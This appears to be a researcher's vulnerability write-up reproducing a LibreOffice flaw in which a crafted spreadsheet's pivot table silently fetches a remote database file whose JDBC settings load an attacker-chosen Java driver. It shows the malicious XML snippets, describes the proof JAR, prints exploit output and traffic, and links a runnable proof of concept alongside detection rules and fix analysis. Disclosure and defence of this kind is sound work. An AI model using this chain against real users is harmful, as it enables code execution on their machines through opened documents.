CVE-2026-104007: LibreOffice Code Execution Through a Pivot Table -- JDBC Driver Loading From Untrusted ODB

The advisory

The Document Foundation published a security advisory for CVE-2026-104007 on November 16, 2026. The advisory describes code execution through JDBC driver loading when a user opens a crafted document. CVSS 4.0: 8.5 High. Affected: LibreOffice 26.2 through 26.2.6 and 26.8 through 26.8.1. The fix shipped in 26.2.7 and 26.8.2.

The advisory is sparse on details, but the CWE (CWE-829, Inclusion of Functionality from Untrusted Control Sphere) and the mention of JDBC drivers told me where to look. There is a related CVE – CVE-2026-63277 – that describes the same underlying problem (remote code execution through JDBC driver loading) but via a different route: calcext:data-mappings and an SQL provider. That one was fixed in 26.2.5. CVE-2026-104007 is a new route to the same driver-loading code, through pivot tables. No public proof of concept existed for this route.

I built a full attack chain from a crafted ODS spreadsheet to arbitrary Java code execution inside the LibreOffice JVM, confirmed it on 26.2.6.3, and verified the fix blocks it on 26.2.7.2.

PoC, detection rules, and live pcap: al4n4n/achilles-heel/CVE-2026-104007

How LibreOffice loads JDBC drivers

LibreOffice can connect to databases through Java JDBC drivers. The connection settings live in ODB files – OpenDocument Database documents – which are ZIP archives containing XML metadata. Among other things, an ODB’s db:driver-settings element names the JDBC driver class and the classpath to load it from:

1
2
3
4
<db:driver-settings>
<db:java-driver-class="MaliciousDriver"/>
<db:java-classpath="file:///path/to/malicious-driver.jar"/>
</db:driver-settings>

In normal use, the driver classpath comes from the user’s own LibreOffice JDBC driver configuration, which the user sets up manually. The ODB file is trusted because the user created it. But what happens when LibreOffice opens an ODB it did not create, one that specifies a classpath the user never configured?

Before 26.2.7, LibreOffice uses the classpath from the ODB itself. It loads the named Java class from the path the ODB specifies, and if that class has a static initializer, it runs in the LibreOffice JVM process. The document controls what code the application loads.

The pivot table route

LibreOffice spreadsheets (ODS files) support pivot tables, which LibreOffice calls “data pilots.” A pivot table can be backed by a database source, specified in the ODS content XML:

1
2
3
4
5
6
<table:data-pilot-table table:name="Pivot1" ...>
<table:database-source-sql
table:database-name="http://127.0.0.1:9007/poc.odb"
table:sql-statement="SELECT * FROM data"
table:parse-sql-statement="false" />
</table:data-pilot-table>

The key detail: table:database-name can be a URL. When the pivot table refreshes, LibreOffice resolves that URL and fetches the ODB. In affected versions, this fetch happens without a link-update consent dialog. The user opens the spreadsheet, the pivot table tries to refresh, and LibreOffice silently downloads the ODB from wherever the attacker pointed it.

This is the route CVE-2026-104007 takes. The related CVE-2026-63277 reached the same driver-loading code through calcext:data-mappings and was fixed in 26.2.5, but the pivot table path remained open until 26.2.7.

The attack chain

The chain has five links. I built each one:

  1. Crafted ODS. A minimal ODS spreadsheet with a pivot table whose table:database-source-sql element names an HTTP URL as the database. The spreadsheet does nothing else – no macros, no other active content. The pivot table is the entire attack surface.

  2. HTTP-served ODB. A Python HTTP server on loopback port 9007 serves poc.odb. When LibreOffice opens the ODS and refreshes the pivot table, it reaches out to this URL. The ODB is a minimal database document specifying db:java-driver-class="MaliciousDriver" and db:java-classpath="file:///work/malicious-driver.jar".

  3. Malicious JAR. A compiled Java class implementing java.sql.Driver. The static initializer runs id, hostname, and uname -a, writing the output to /tmp/pwned.txt. Nothing destructive – just enough to prove the code ran and to identify the execution context.

  4. Pivot table refresh. In the lab, the PoC opens the ODS via LibreOffice’s UNO API and calls DataPilotTable.refresh(). In a real attack, the refresh would happen when the user interacts with the pivot table or through an embedded macro.

  5. Driver loads, code executes. LibreOffice fetches the ODB, reads the driver settings, and loads MaliciousDriver from the attacker-specified classpath. The static initializer fires. The marker file appears.

One limitation: after the CVE-2026-63277 fix in 26.2.5, the classpath is restricted to file:// URLs. The JAR cannot be fetched over HTTP; it must already exist on the target filesystem. An attacker would deliver it by another means – an email attachment, a download, a shared drive – or target a known path. This restriction narrows the attack but does not prevent it.

The proof

On LibreOffice 26.2.6.3, the PoC runs the full chain. The pivot table refreshes, LibreOffice fetches the ODB, and the malicious driver executes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[+] EXPLOIT SUCCEEDED on vuln

--- Output (vuln) ---
Starting LibreOffice listener: /opt/libreoffice26.2/program/soffice --headless [...]
Connected to LibreOffice
Opening file:///work/poc.ods
Document opened: file:///work/poc.ods
Sheet 'Sheet1': 1 data pilot(s)
Refreshing data pilot 0 (name='Pivot1')...
Refreshed OK
Closing document
EXPLOIT_SUCCESS
--- CVE-2026-104007 code execution proof ---
timestamp: 2026-11-17T05:46:21Z
id: uid=0(root) gid=0(root) groups=0(root)
hostname: lo-vuln
uname: Linux lo-vuln 6.8.0-147-generic [...] x86_64 GNU/Linux
java.home: /usr/lib/jvm/java-21-openjdk-amd64
pwd: /work
--- end proof ---

The marker file /tmp/pwned.txt written by the malicious driver inside the container:

1
2
3
4
5
6
7
8
--- CVE-2026-104007 code execution proof ---
timestamp: 2026-11-17T05:53:27Z
id: uid=0(root) gid=0(root) groups=0(root)
hostname: lo-vuln
uname: Linux lo-vuln 6.8.0-147-generic #147-Ubuntu SMP PREEMPT_DYNAMIC [...]
java.home: /usr/lib/jvm/java-21-openjdk-amd64
pwd: /work
--- end proof ---

The pcap from the vulnerable container (capture/vuln-capture.pcap, 12242 bytes, 70 packets) shows LibreOffice reaching out over HTTP:

1
2
3
4
5
6
7
8
OPTIONS /poc.odb  -> 501
HEAD /poc.odb -> 200
HEAD /poc.odb -> 200
GET /poc.odb -> 200
HEAD /poc.odb -> 200
GET /poc.odb -> 200

User-Agent: LibreOffice 26.2.6.3 denylistedbackend/8.22.0 OpenSSL/3.5.7

LibreOffice issues multiple requests – OPTIONS, then HEAD, then GET – to retrieve the ODB. The User-Agent header confirms the vulnerable version.

Negative control

The same PoC against LibreOffice 26.2.7.2:

1
2
3
4
5
6
7
8
9
10
11
12
[-] Exploit did not succeed on patched

--- Output (patched) ---
Starting LibreOffice listener: /opt/libreoffice26.2/program/soffice --headless [...]
Connected to LibreOffice
Opening file:///work/poc.ods
Document opened: file:///work/poc.ods
Sheet 'Sheet1': 1 data pilot(s)
Refreshing data pilot 0 (name='Pivot1')...
Refreshed OK
Closing document
EXPLOIT_FAILED

No marker file. The pcap from the patched container is 24 bytes – the file header only, zero packets. LibreOffice 26.2.7.2 did not make any HTTP request. The fix blocks the ODB fetch before the driver-loading code is ever reached.

Impact

The attack achieves arbitrary code execution in the LibreOffice JVM process when a user opens a crafted spreadsheet, with two preconditions: Java must be enabled in LibreOffice, and the malicious JAR must be on the target filesystem.

The pivot table route is distinct from CVE-2026-63277’s calcext:data-mappings route. Even installations that applied the 26.2.5 fix for CVE-2026-63277 remained vulnerable through CVE-2026-104007 until 26.2.7.

Claim Status Evidence
Code execution on LibreOffice 26.2.6.3 Proven evidence/poc-vuln-pwned.txt, evidence/poc-console-output.txt
Full attack chain from crafted ODS to code execution Proven evidence/poc-console-output.txt, capture/vuln-capture.pcap
Patched version unaffected Confirmed evidence/poc-console-output.txt, evidence/capture-patched.pcap
Code execution without pre-staged JAR Not reached CVE-2026-63277 fix restricts classpath to file:// only

Detection

The repository includes experimental detection rules for the network and file indicators of this attack. These are research artifacts, not production-grade signatures. Each was tested against the exploit capture or sample and one benign fixture only.

Suricata (detection/cve-2026-104007.rules): two rules detecting (1) HTTP responses delivering ODB files via Content-Type application/vnd.sun.xml.base, and (2) LibreOffice User-Agent requesting a .odb URI. Both require plaintext HTTP inspection.

YARA (detection/cve-2026-104007.yar): two rules matching (1) ODS files containing a pivot table with an HTTP-referenced database source, and (2) ODB files specifying both a JDBC driver class and a classpath. Useful at email gateways or endpoint scanners.

Both rule sets fired on the exploit samples and stayed silent on the benign fixtures. See detection/README.md for full test results and limitations.

The fix

The fix in 26.2.7 / 26.8.2 applies two restrictions. First, the JDBC driver location is sourced exclusively from the user’s own configured drivers, ignoring any classpath specified in the database document. Second, pivot tables whose data source names a URL-based database document require the user to approve link updates before connecting – the unconsented fetch is gone.

The dual fix is important. Restricting the classpath alone would still allow the silent ODB fetch, which is an information-disclosure risk (the attacker learns whether the user opened the document). Requiring consent for link updates is the defense-in-depth layer that blocks the entire chain at its first step.

Date Event
2026-11-16 Advisory published; 26.2.7 and 26.8.2 released
2026-11-17 Reproduction confirmed

Reproduction

Readers can verify every claim in this post by running three commands from a fresh clone.

1
2
3
4
5
6
7
git clone https://github.com/al4n4n/achilles-heel.git
cd achilles-heel/CVE-2026-104007

python3 setup.py # build and start vulnerable + patched containers
python3 check.py # version check
python3 poc.py --target both --capture # run the exploit and capture pcap
python3 setup.py --down # tear down

The setup requires Docker with access to a Linux x86_64 host. The PoC stages all payload files, runs the exploit, and reports the result with evidence collection.

Full details: al4n4n/achilles-heel/CVE-2026-104007